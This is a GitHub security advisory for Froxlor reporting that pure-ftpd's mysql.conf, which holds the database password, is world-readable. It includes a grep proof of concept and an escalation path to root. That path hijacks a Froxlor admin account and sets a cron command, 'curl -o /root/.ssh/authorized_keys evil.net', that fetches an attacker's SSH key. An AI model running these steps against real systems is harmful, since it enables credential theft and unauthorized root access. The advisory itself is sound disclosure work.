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Froxlor: /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains <SQL_UNPRIVILEGED_PASSWORD>

High severity GitHub Reviewed Published Aug 23, 2024 in froxlor/Froxlor • Updated Aug 23, 2024

Package

composer froxlor/froxlor (Composer)

Affected versions

<= 2.2.0-rc3

Patched versions

2.2.0

Description

Summary

In Froxlor 2.1.9 and in the HEADs of the main, v2.2 and v2.1 branches , the XML templates in lib/configfiles/ set chmod 644 for /etc/pure-ftpd/db/mysql.conf, although that file contains <SQL_UNPRIVILEGED_PASSWORD>. At least on Debian 12, all parent directories of /etc/pure-ftpd/db/mysql.conf are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.

Details

https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075

PoC

As non-privileged user:

nobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf
MYSQLPassword   MySecretMySQLPasswordForFroxlor

Impact

Any unprivileged user with "command/code execution" access to the system can trivially obtain the credentials granting access to the froxlor MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.

Side note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:

  1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.
  2. Log into Froxlor as that admin.
  3. Set the Cron-daemon reload command in /admin_settings.php?page=overview&part=crond to something like curl -o /root/.ssh/authorized_keys evil.net.
  4. Wait a few minutes until the relevant cronjob runs, then log in via SSH.

Please consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client:
https://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html

References

@d00p d00p published to froxlor/Froxlor Aug 23, 2024
Published to the GitHub Advisory Database Aug 23, 2024
Reviewed Aug 23, 2024
Last updated Aug 23, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-34qg-65m4-f23m

Source code

Credits

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